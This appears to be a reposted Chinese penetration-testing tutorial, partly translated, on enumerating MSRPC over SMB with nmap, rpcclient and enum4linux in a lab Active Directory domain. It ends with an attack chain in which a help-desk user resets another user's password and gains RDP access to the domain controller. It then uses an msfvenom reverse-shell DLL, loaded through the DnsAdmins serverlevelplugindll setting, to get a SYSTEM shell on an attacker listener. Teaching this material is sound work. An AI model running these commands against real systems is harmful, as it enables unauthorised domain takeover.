【域渗透】SMB 上的 MSRPC (135/139/445)

admin 2025年2月17日13:29:45评论21 views字数 11102阅读37分0秒阅读模式

在这篇文章中,我们将介绍一些工具,我们可以使用这些工具通过 UDP 端口 135 以及 TCP 端口 135、139 和 445 枚举 SMB 上的 MSRPC。

我们将首先了解MSRPC、NetBIOS 和 SMB,以及这三种服务是如何结合在一起的。

枚举将从nmap扫描开始,我们将在其中发现在已加入域的 Windows 10 主机上打开的所有三个感兴趣的端口(135、139 和 445)。

运行nmap扫描后,我们将快速借鉴我写的另一篇关于 MSRPC 的文章,看看如何使用nmap转储 RPC 端点。这与我们在另一篇文章中看到的不同,因为nmap使用端口 445 进行此枚举。

接下来,我们将学习如何使用rpcclient手动枚举有关域的大量信息。

但是,我们将看到,我们尝试通过 Windows 10 主机枚举域的尝试无效。因此,我们将把工作重点放在运气更好的 DC 上。

此外,在手动提取有关域的信息后,我们将了解一种可以为我们自动执行此过程的工具。该工具是enum4linux

作为奖励,我们将检查我们的发现,并发现我们可以从 DC 上的标准用户升级到 SYSTEM!

什么是 MSRPC、NetBIOS 和 SMB?

MSRPC 服务使用 IPC 机制(如命名管道、NetBIOS 或 Winsock)在客户端和服务器之间建立通信。IPC$传输、TCP、UDP 和 HTTP 协议用于提供对服务的访问。因此,了解这些服务是什么 (MSRPC / NetBIOS / 命名管道 (SMB)) 以及在枚举 SMB 上的 MSRPC 时它们如何协同工作非常重要。

MSRPC(远程过程调用)– 端口 135

Microsoft 远程过程调用 (MSRPC) 是一种通信协议,用于从位于网络上另一台计算机的程序请求服务。换句话说,MSRPC 用于调用远程系统上的其他进程,就像它是本地系统一样。这是使用 “client-server” 或 “request-response” 模型完成的。

RPC 由客户端启动,客户端向已知的远程服务器发送请求消息,以使用提供的参数执行指定的过程。

如果您想更详细地了解 RPC 的工作原理,请在此处查看Wikipedia 页面。

RPC 端点映射器可以通过 TCP 和 UDP 端口 135 访问,也可以通过 SMB(命名管道)使用空或经过身份验证的会话(TCP 139 和 445)进行访问,也可以作为侦听 TCP 端口 593 的 Web 服务进行访问。此外,在 49xxx 上打开 RPC 端口也很常见,这些端口被称为“随机分配的高 TCP 端口”。

如上所述,如果 SMB 处于打开状态,RPC 可以使用命名管道。这对于枚举/利用来说是巨大的,因为不同的命名管道允许不同的操作。

基于 SMB 的 MSRPC – 用于枚举和利用的命名管道

由于 SMB 在 Windows 主机上几乎总是打开的,因此 MSRPC 用于枚举的最常见方式很可能是通过 SMB 命名管道(通过 IPC$ 共享)。这是大多数工具与 RPC 交互的设置方式。

MSRPC 在 SMB 上使用了很多不同的命名管道,它们包括:

  • pipelsarpc— 本地安全机构 (LSA) — 列举权限、信任关系、SID、策略等。

  • pipesamr— 本地 SAM 数据库 — 列举域/本地用户、域/本地组等。

  • pipesvcctl— 服务控制管理器 — 远程创建、启动和停止服务以执行命令

  • pipeatsvc— Task Scheduler — 远程创建计划任务以执行命令

  • pipeepmapper— 支持 Windows Management Instrumentation (WMI) 的分布式组件对象模型 (DCOM) – 通过 WMI 远程执行命令

  • pipewinreg— 远程注册表服务 – 用于访问系统注册表

本文的重点是展示利用端口 445 的基于 RPC 的工具。但是,有许多用于枚举 SMB 的工具也使用 RPC。这些将被视为基于 SMB (445) 的工具,这将在另一篇文章中讨论。

对于我们的枚举,我们将主要关注两个工具:rpcclientenum4linux

这些工具允许我们收集有关主机和域的许多非常好的信息,例如用户名、组、密码策略等,因为通过命名管道查询 MSRPC。

NetBIOS(网络基本输入输出系统)– 端口 139

Network Basic Input/Output System 是一个 API,提供与 OSI 模型的 session 层相关的服务。NetBIOS 的主要用途是允许不同计算机上的应用程序通过局域网 (LAN) 进行通信。

在现代网络中,NetBIOS 通过 NetBIOS over TCP/IP (NBT) 协议在 TCP/IP 上运行。因此,网络中的每台计算机都将同时具有一个 IP 地址和一个最长 15 个字符的 NetBIOS 名称,并且通常与计算机名称分开。

NetBIOS 通过三个不同的端口提供三种不同的服务;但是,当涉及到 SMB 上的 MSRPC 时,我们最感兴趣的是面向连接的通信的会话服务(端口:139/tcp)。这是因为某些技术/工具利用 NetBIOS 通过端口 139 进行 RPC 枚举,类似于在 MSRPC over SMB 中使用端口 445 的方式。

SMB(服务器消息块)– 端口 445

服务器消息块是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件,以及通过网络从服务器程序请求服务。这意味着通过使用 SMB,用户可以从远程计算机访问文件或其他资源。

SMB 是一种客户端/服务器通信协议,提供对文件、整个目录和网络资源(打印机等)的共享访问。它还用于携带交易协议,用于经过身份验证的进程间通信。

在现代 Windows 系统上,SMB 可以直接通过 TCP/IP 在端口 445 上运行。在其他系统上,我们可能会发现某些服务和应用程序正在使用端口 139。这意味着 SMB 通过 TCP/IP 使用 NetBIOS 运行。

多年来,SMB 已发布各种版本,并且已向后兼容。这意味着使用较新版本的 Windows 的设备可以轻松地与安装了较旧 Microsoft 操作系统的设备进行通信。

SMB 默认管理共享

关于 SMB 上的 MSRPC 需要注意的另一件事是默认管理共享及其用途。最值得注意的是IPC$份额。

管理共享是隐藏的网络共享,允许系统管理员远程访问联网系统上的每个磁盘卷。这些共享可能不会永久删除,但可以被禁用。没有管理权限的用户无法访问管理共享。

总共有三个默认 (隐藏) 管理共享:

  • ADMIN$— 在远程管理计算机期间使用。

  • C$— Every disk volume on the system is shared as an administrative share.

  • IPC$— A resource that shares the named pipes that are essential for communication between programs, such as remote administration of a computer or when viewing shared resources.

Alright, now that we have a decent understanding of how MSRPC, NetBIOS, and SMB work, as well as how MSRPC utilizes both services to establish communications between the client and the server, let’s jump in and begin our enumeration!

Initial Enumeration – Nmap Scan

To begin, let’s say that we have a target Windows 10 machine with an IP address of 172.16.1.200 that we just ran a TCP scan against usingnmap.

nmap -A -sV -sC -T4 172.16.1.200 -p- -oN tcp_full.nmap

【域渗透】SMB 上的 MSRPC (135/139/445)

从 nmap 扫描的输出中,我们可以看到端口 135、139 和 445 是开放的,RPC端口也很高。

此外,由于使用了-sC(默认脚本)和-A(操作系统检测、版本检测和脚本扫描)开关,nmap实际上利用 SMB 和 NetBIOS 的脚本来收集主机名、操作系统版本、域名、MAC 地址等详细信息。

伟大!现在我们已经确定所有感兴趣的端口都已打开(TCP 135、139、445),是时候开始列举它们了。

好了,我们差不多准备好跳转到一些使用rpcclientenum4linux的示例。但是,在我们这样做之前,让我们快速检查一下使用 MSRPC 而不是 SMB 的nmap脚本。

Nmap – msrpc-enum 脚本

在我写的另一篇关于 MSRPC 枚举的文章中(可在此处找到),我展示了如何使用名为rpcdump.py的工具转储 RPC 端点。

嗯,另一个可用于收集 RPC 端点列表的工具是nmap。唯一的区别是nmap脚本不使用端口 135 进行此枚举。相反,此枚举是通过端口 445 执行的。

nmap -A -sV -sC -Pn --script=msrpc-enum 172.16.1.200 -p445

【域渗透】SMB 上的 MSRPC (135/139/445)

正如我们在上面看到的,当针对已加入域的 Windows 10 主机时,匿名访问被拒绝。

这告诉我们,我们需要找到凭据,以便继续处理任何使用命名管道(端口 445)的枚举。

请务必注意,默认情况下,版本 1709+ 和 Server 10 的 Windows 2019 不允许访客(匿名)访问。您可以在此处了解有关匿名 SMB 访问更改的更多信息。

由于在最新版本的 Windows 上默认禁用匿名访问,因此对于其余的 MSRPC over SMB 示例,我们能够获得一组可以传递到工具中的凭证。

vcreed : Dfaster1!23

nmap -A -sV -sC -Pn --script=msrpc-enum 172.16.1.200 -p445 --script-args smbusername='vcreed',smbpassword='Dfaster1!23',smbdomain='juggernaut.local'

【域渗透】SMB 上的 MSRPC (135/139/445)

输出与使用 rpcdump.py 时得到的大致相同。唯一的区别是 nmap 使用端口 445,在这种情况下,该端口被拒绝匿名访问。而 rpcdump.py 使用端口 135,并且不需要凭据来提取相同的信息。好了,现在我们已经看到了这一点,让我们继续讨论更有趣的 RPC 枚举 —— 从 rpcclient 开始。

手动枚举用户、组等 – rpcclient

rpcclient 是一款出色的 RPC 枚举工具,是 Samba 套件的一部分。它用于在建立 SMB 会话时通过命名管道(SAMR、LSARPC 和 LSARPC-DS 接口)与 MSRPC 进行交互。使用 rpcclient,我们可以列举许多内容,例如系统和作系统信息、用户信息、组信息等等。此外,根据我们传递给 rpcclient 的帐户权限,我们还可以执行一些管理任务,例如更改用户密码或创建新的域用户。由于 rpcclient 使用 SMB,因此通常需要凭据才能使用;但是,在尚未找到凭据时,检查是否启用了匿名访问始终是值得的。即使匿名访问默认处于禁用状态,但仍然值得检查它是否已启用。我们可以使用以下命令来测试匿名访问:

rpcclient 172.16.1.200 -N

【域渗透】SMB 上的 MSRPC (135/139/445)正如预期的那样,当尝试在 Windows 10 主机上建立匿名会话时,我们被拒绝访问。但是,我们之前确实 “找到” 了凭据,因此让我们使用它们来建立经过身份验证的会话。

rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.200

【域渗透】SMB 上的 MSRPC (135/139/445)

完善!它奏效了,现在我们有一个 rpcclient 提示符!现在 session 已经建立,让我们看看一些有用的命令。

枚举已加入域的 Windows 10 主机时的限制

由于 Windows 10 计算机已加入域,因此我们假设我们可以通过此主机查询域,类似于在建立立足点时使用 net 命令查询域的方式。不幸的是,事实并非如此。例如,我们可以获取系统信息 - 因为这是本地的

srvinfo

【域渗透】SMB 上的 MSRPC (135/139/445)

但是,当我们尝试收集有关域的任何信息时,我们会收到错误。

【域渗透】SMB 上的 MSRPC (135/139/445)

此外,rpcclient 没有用于枚举本地用户或组的命令,因此对 Windows 10 主机使用不是很有用。因此,我们将重点转移到域枚举的域控制器上。

rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.5
srvinfo

【域渗透】SMB 上的 MSRPC (135/139/445)

从两个 srvinfo 输出中,我们可以看到它说作系统版本为“10”,这意味着这些机器可能运行 Windows 10、Windows 11、Server 2016、Server 2019 或 Server 2022。碰巧 DC 正在运行 Server 2019。

用于域枚举的有用 rpcclient 命令

对于 rpcclient 枚举,我们将重点关注低权限用户访问,而不是管理员访问。使用管理员访问权限,可以做很多事情;但是,我们的重点是查看作为标准用户可以枚举多少。希望找到一些有用的东西来帮助获得立足点,或者在建立立足点后提升权限。我们将命令分解为多个部分,包括 domain 枚举、user 枚举、group 枚举、share 枚举和其他枚举。

域枚举

我们首先要列举的是绑定到目标的域数。

enumdomains

【域渗透】SMB 上的 MSRPC (135/139/445)

Juggernaut 是唯一的域,这意味着我们可以运行以下命令来收集有关它的一些快速信息:

querydominfo

【域渗透】SMB 上的 MSRPC (135/139/445)

输出提供有关用户、组和别名总数以及是否有强制注销等信息。接下来,我们可以获取密码策略,这对于设置有针对性的暴力破解或密码喷射攻击非常有用。

getdompwinfo

【域渗透】SMB 上的 MSRPC (135/139/445)

好!默认密码策略已应用,并且只需要最小长度为 7 个字符。此外,其中三个字符必须包含小写、大写、数字和/或特殊字符。我们可以提取的另一个很酷的东西是跨域应用的所有权限的列表(这不是当前用户权限)。

enumprivs

【域渗透】SMB 上的 MSRPC (135/139/445)

M继续,我们应该获取的下一件事是 Domain SID,它只是用于跟踪对象的唯一(安全)标识符。域中的所有内容都是一个对象,并且所有对象都分配有一个 RID,这是另一种类型的唯一 (相对) 标识符。组合域 SID+RID 可为域中的每个对象提供唯一标识符 (SID)。例如,我们可以使用以下命令来获取域 SID:

lookupdomain juggernaut

【域渗透】SMB 上的 MSRPC (135/139/445)

或者,我们可以使用另一个命令来获取相同的信息:

lsaquery

【域渗透】SMB 上的 MSRPC (135/139/445)

除了获取域 SID 之外,我们还可以获取属于 LSA 域用户和组的 SID 列表。

lsaenumsid

【域渗透】SMB 上的 MSRPC (135/139/445)

现在,我们可以获取这些 SID 并使用lookupsids命令检查它们:

lookupsids S-1-5-21-2365897340-51848609-3160590671-1121

【域渗透】SMB 上的 MSRPC (135/139/445)

最后,我们可以使用以下命令将 ACE 应用于各种安全组。

lsaquerysecobj

【域渗透】SMB 上的 MSRPC (135/139/445)

同样,要确定这些是哪些安全组,我们可以使用lookupsids命令检查 SID。

lookupsids S-1-5-7

【域渗透】SMB 上的 MSRPC (135/139/445)

用户枚举

我们可以直接使用一个很好的命令,它提供了所有域用户及其十六进制 RID 的列表。

enumdomusers

【域渗透】SMB 上的 MSRPC (135/139/445)

我们可以做的一个很酷的技巧是获取此列表并创建一个干净的 users.txt 文件。首先,将内容完整复制到文件中。

【域渗透】SMB 上的 MSRPC (135/139/445)

应用一些简单的 Linux-fu,我们得到了一个干净的列表,我们可以将其用于枚举、暴力破解等。

cat users.txt | tr '[]' ' ' | awk '{print $2}'

【域渗透】SMB 上的 MSRPC (135/139/445)

继续,我们可以使用另一个命令来转储所有域用户的列表,但这个命令有点不同,因为它包含额外的信息,比如 “description”,其中可能包含密码。

querydispinfo

【域渗透】SMB 上的 MSRPC (135/139/445)

获取用户列表后,我们可以使用 queryuser 命令单独收集有关每个用户的其他信息。让我们看一下我们当前的用户:

queryuser vcreed

【域渗透】SMB 上的 MSRPC (135/139/445)

如果提供了有关用户的大量信息,包括密码信息,甚至错误的 PW 计数,这对于在执行密码喷射攻击时进行跟踪很有用。接下来,我们可以通过在以下命令中提供用户的 RID 来查询每个用户所属的所有组:

queryusergroups 0x451

【域渗透】SMB 上的 MSRPC (135/139/445)

现在,我们可以查询组 RID 以查看用户所在的组。

querygroup 0x472
querygroup 0x201

【域渗透】SMB 上的 MSRPC (135/139/445)

有趣的是,除了标准的 Domain Users 组外,我们可以看到当前用户也是 Service Desk 组(自定义组)的成员。

要枚举每个用户的 SID,我们可以使用lookupnames命令。

lookupnames vcreed

【域渗透】SMB 上的 MSRPC (135/139/445)

最后,我们可以通过以下方式获取用户特定的密码策略信息:

getusrdompwinfo 0x451

【域渗透】SMB 上的 MSRPC (135/139/445)

组枚举

就像我们在用户枚举中看到的那样,我们还可以使用一个很棒的命令来提供所有域组及其十六进制 RID 的列表。

enumdomgroups

【域渗透】SMB 上的 MSRPC (135/139/445)

留意非标准组很重要。

DC 上还存在一整套额外的组,这些组是 Builtin Groups。我们可以列出所有这些以及它们的十六进制 RID,如下所示:

enumalsgroups builtin

【域渗透】SMB 上的 MSRPC (135/139/445)

同样,我们想要查找非默认组(本例中没有);但是,我们还想仔细研究上述组。

正如我们之前在用户枚举部分看到的那样,我们可以根据其十六进制 RID 值查询任何组。

querygroup 0x200

【域渗透】SMB 上的 MSRPC (135/139/445)

在这里,我们可以看到两个用户位于 Domain Admins 组中。一个可能是内置管理员帐户,这意味着另一个用户帐户具有管理员权限。

不幸的是,我们不能使用querygroup命令 —— 或任何与此相关的命令来查询内置组。

在发现 Domain Admins 组中有两个用户后,我们可以使用querygroupmem命令找出他们是谁。

querygroupmem 0x200

【域渗透】SMB 上的 MSRPC (135/139/445)

使用此命令,我们能够获取 Domain Admins 组中两个用户的 RID。现在我们可以快速检查这些用户是谁。

queryuser 0x1f4
queryuser 0x452

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

正如预期的那样,其中一个帐户是内置管理员帐户,但另一个帐户是域用户:nessex。这是一个巨大的发现!

最后,我们可以像使用lookupnames命令枚举用户 SID 一样枚举组 SID。

lookupnames 'Domain Admins'

【域渗透】SMB 上的 MSRPC (135/139/445)

份额枚举

好了,rpcclient差不多完成了!对于最后一个示例,我们将列举 shares。

在枚举共享时,有两个类似的命令来显示共享。其中一个显示 ALL 共享,另一个显示除默认管理员共享之外的所有共享。由于只有三个管理员共享,因此最好只使用将显示所有管理员共享的命令。

netshareenumall

【域渗透】SMB 上的 MSRPC (135/139/445)

在这里,我们可以看到总共 6 个共享,其中包括 3 个管理共享(其中包含 '$' 的共享)。

如果您猜到排除默认管理员共享的命令是netshareenum,那么您是对的。

此外,在提取共享列表后,我们可以检查与上面列出的任何共享关联的权限 (ACE)。例如:

netsharegetinfo confidential

【域渗透】SMB 上的 MSRPC (135/139/445)

输出告诉我们有关此共享的一些重要信息,例如实际系统上的文件路径和直接应用于此文件夹的 ACE。

此外,ACE 还为我们提供了一个 SID 和应用于 SID 所属的用户或组的给定权限。

与我们之前查找 SID 的方式类似,我们可以快速检查这些 SID 以查看它们属于谁/什么。如果我们使用空格分隔 SID,则可以在单个命令中枚举所有 SID:

lookupsids S-1-1-0 S-1-5-21-2365897340-51848609-3160590671-1114 S-1-5-21-2365897340-51848609-3160590671-500 S-1-5-32-544 S-1-5-21-2365897340-51848609-3160590671-513

【域渗透】SMB 上的 MSRPC (135/139/445)

我们应该寻找的是任何非管理员用户/组的写入访问权限,而此示例中不存在。

确实,这证明了rpcclient对于我们攻击者来说是一个非常强大的工具。

接下来,我们将看到另一个很棒的工具,它可以自动化我们刚刚看到的使用rpcclient的许多 MSRPC 枚举,等等!

用户、组等的自动枚举 – enum4linux

现在我们已经了解了如何使用rpcclient手动枚举有关域的许多有用信息。让我们将重点转移到一个自动化工具上,它为我们执行大部分(如果不是全部)相同的枚举。这个工具就是enum4linux

Enum4linux 预装了 Kali,但如果由于某种原因您没有它,您可以从此处.

Enum4linux是一个强大的工具(用 perl 编写的脚本),它列举了 MS-RPC 以及 LDAP 和 NBT-NS。这是可能的,因为该脚本本质上只是四个 Samba 工具的包装器:nmblookup、net、rpcclient 和 smbclient。

因为这个脚本使用了多种工具,所以它允许我们收集单独使用rpcclient无法获得的其他信息。

在运行enum4linux时,可以应用许多不同的选项(开关),但对于这个例子,我们将使用-a开关。

enum4linux -h

【域渗透】SMB 上的 MSRPC (135/139/445)

伟大!现在我们已经看到了我们可以使用的所有可能的开关,剩下要做的就是实际运行脚本并查看我们找到的内容。

在找到凭证之前测试enum4linux是个好主意,因为它会帮助你快速判断匿名访问能让你走多远。

enum4linux -a -u 'juggernaut.localvcreed' -p 'Dfaster1!23' 172.16.1.5

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

该死!这是很多很棒的信息。此外,其中大约 90% 的数据是仅使用rpcclient收集的。

enum4linux使用更多工具的好处是,它为我们提供了有关本地和内置组、用户和组成员的信息。这对我们来说非常有益,因为它揭示了哪些用户能够通过 RDP 或 WinRM 访问 DC 等等。

奖励 – 从服务台到域管理员

从上面的枚举中,提供了一些提示,指出了可以使用rpcclient利用的潜在漏洞。

我们可以看到有一个 Service Desk 组,我们当前的用户“vcreed”是该组的成员。很多时候,当我们发现一个 “IT support” 类型的自定义组(或用户)的名下有 Help Desk、Service Desk、Support、IT 等时,该组/用户很有可能拥有允许他们强制重置密码的代理权限。

此外,由于互联网上有许多糟糕的教程,这些权限被松散地应用是很常见的 - 为用户提供了不仅重置密码的权利,而且提供了更改密码的权利!

如果我们想彻底,我们可以使用一种叫做bloodhound的工具来确认这个怀疑;但是,在此示例中,我们将假设我们的预感是正确的,并且我们的当前用户可以更改其他用户的密码。

这对我们作为攻击者来说是一个巨大的突破,因为我们可能会更改任何用户的密码。只要他们不在 Domain Admins 组中。

具有更改密码权限的标准用户无法更改管理员用户的密码。

使用 Rpcclient 更改用户的口令

参考我们的enum4linux输出,我们可以看到用户nessex是禁止的,因为他是一名 DA。但是,我们还有另外两个用户,他们是有趣的小组的成员,他们提供了在 DC 上站稳脚跟的途径。

我们可以更改 Remote Management Users Group 中的cmarko的密码,并可以通过 WinRM 会话访问 DC。或者,我们可以更改meisenhardt(远程桌面用户组中的用户)的密码,并可以通过 GUI 会话通过 RDP 连接到 DC。

对于此示例,我们将使用mesienhardt和 GUI 会话。只是因为这个用户也在 DnsAdmins 组中,这很有趣。

首先,我们需要跳转到rpcclient会话。

rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.5

然后,我们需要做的就是发出以下命令,我们将能够将用户密码更改为我们想要的任何密码。

对于此示例,我们将保持简单并使用Password123,因为它符合我们列举的密码策略。

setuserinfo2 meisenhardt 23 Password123

【域渗透】SMB 上的 MSRPC (135/139/445)

从输出中可以看出,没有错误,这表明命令成功。

在 DC 上站稳脚跟

要确认密码更改有效,我们可以快速退出rpcclient会话并使用crackmapexec检查新密码是否有效。

crackmapexec smb 172.16.1.5 -u 'meisenhardt' -p 'Password123'

【域渗透】SMB 上的 MSRPC (135/139/445)

看到[+]表示凭据准确无误,并告诉我们密码更改确实成功!

Because this user is in the RDP Group, we are now be able to spin up an RDP session and obtain a foothold on the DC.

sudo xfreerdp /u:meisenhardt /p:Password123 /d:juggernaut.local /v:172.16.1.5 +clipboard

【域渗透】SMB 上的 MSRPC (135/139/445)

【域渗透】SMB 上的 MSRPC (135/139/445)

从域用户到 SYSTEM 的权限提升 – DnsAdmins 组

在更改 meiseinhardt 的密码,在 DC 上站稳脚跟,并确认我们在 DnsAdmins 组中后,我们现在可以继续利用此权限(组成员身份)并从标准用户升级到 SYSTEM。首先,我们需要在攻击者的机器上制作一个恶意 DLL。这可以使用 msfvenom 轻松完成:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll > dns.dll

【域渗透】SMB 上的 MSRPC (135/139/445)

凉!有效负载准备就绪后,我们需要做的下一件事是将文件传输到受害者,或将其托管在共享中。为简单起见,我们将将其托管在共享中。

smbserver.py share $(pwd) -smb2support

【域渗透】SMB 上的 MSRPC (135/139/445)

好了,此时我们已经制作了我们的恶意 DLL,并从我们的恶意 DLL 所在的同一目录启动了一个名为“share”的 SMB 共享。

接下来,我们需要在攻击者计算机上启动一个 netcat 侦听器,以便在 SYSTEM shell 传入时捕获它。

nc -nvlp 443

回到目标上的 RDP 会话,我们现在要做的就是运行一个命令,该命令将在注册表中添加一个条目(指向我们的恶意 DLL),然后重新启动服务。

dnscmd \Juggernaut-DC /config /serverlevelplugindll \172.16.1.30sharedns.dll

【域渗透】SMB 上的 MSRPC (135/139/445)

我们可以使用以下命令确认注册表项已创建:

reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesDNSParameters"

【域渗透】SMB 上的 MSRPC (135/139/445)

完善!一切看起来都很棒。现在,让我们快速重启服务。

sc.exe \Juggernaut-DC stop dns
sc.exe \Juggernaut-DC start dns

【域渗透】SMB 上的 MSRPC (135/139/445)

然后回到我们的侦听器,我们可以看到一个 SYSTEM shell 刚刚签入!!

【域渗透】SMB 上的 MSRPC (135/139/445)

了不起!从我们对 MSRPC 的最初枚举开始,我们能够收集到足够的信息,以水平上报给另一个用户,然后上报到 SYSTEM。

最后的思考

枚举是非常循环的。作为攻击者,我们应该尝试以匿名方式针对所有 AD 服务,直到我们运气好为止。希望一个服务将授予匿名访问权限并提供一些获取用户凭据的方法。获得凭证后,我们应该回过头来,在我们未能匿名访问的相同服务上对其进行测试。

从上面可以看出 MSRPC 枚举对我们攻击者来说是多么重要。使用 rpcclientenum4linux 等工具,我们能够远程提取大量信息;但是,能够消化输出很重要。从奖励中可以看出,通过像攻击者一样思考,我们能够使用 enum4linux 的输出将我们的权限一直升级到最高级别 – DC 上的 SYSTEM。

【域渗透】SMB 上的 MSRPC (135/139/445)
关注公众号
【域渗透】SMB 上的 MSRPC (135/139/445)

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏

【域渗透】SMB 上的 MSRPC (135/139/445)

原文始发于微信公众号(moonsec):【域渗透】SMB 上的 MSRPC (135/139/445)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月17日13:29:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【域渗透】SMB 上的 MSRPC (135/139/445)https://cn-sec.com/archives/3747586.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息